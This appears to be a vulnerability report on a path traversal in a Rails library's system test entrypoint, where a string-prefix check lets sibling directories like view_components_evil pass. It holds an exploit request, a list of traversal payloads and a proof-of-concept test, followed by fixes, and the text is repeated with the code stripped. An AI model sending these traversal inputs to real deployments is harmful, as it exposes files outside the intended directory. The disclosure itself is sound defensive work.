Summary
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erb
The outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)
Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)
The route then renders the resolved file:
Exploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb
Flow:
base_path resolves to .../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb.
- That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html
PoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
endRun:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb
Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
end
Or require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
endAdd regression tests for:
- A normal temp file inside
tmp/view_components
../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
cyberlanc3r Reporter
Summary
The system test entrypoint canonicalizes a user-controlled file path with
File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.Severity: Medium; test-route scoped
Example:
The outside path is not inside the base directory, but it passes:
Relevant Code
app/controllers/view_components_system_test_controller.rb:The route then renders the resolved file:
Exploit Flow
Example request:
Flow:
base_pathresolves to.../tmp/view_components..../tmp/view_components_evil/secret.html.erb.The route is mounted only in
Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.Targeted Fuzz Result
The following sibling paths passed an equivalent
realpathplusstart_with?harness while resolving outside the base directory:PoC Test
Create
test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:Run:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rbVulnerable behavior: the response succeeds and contains
VC_SYSTEM_TEST_TRAVERSAL_POC.Fixed behavior: the request raises
ViewComponent::SystemTestControllerNefariousPathErroror otherwise fails without rendering the file.Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
Or require a separator boundary:
Add regression tests for:
tmp/view_components../../README.md../view_components_evil/secret.html.erb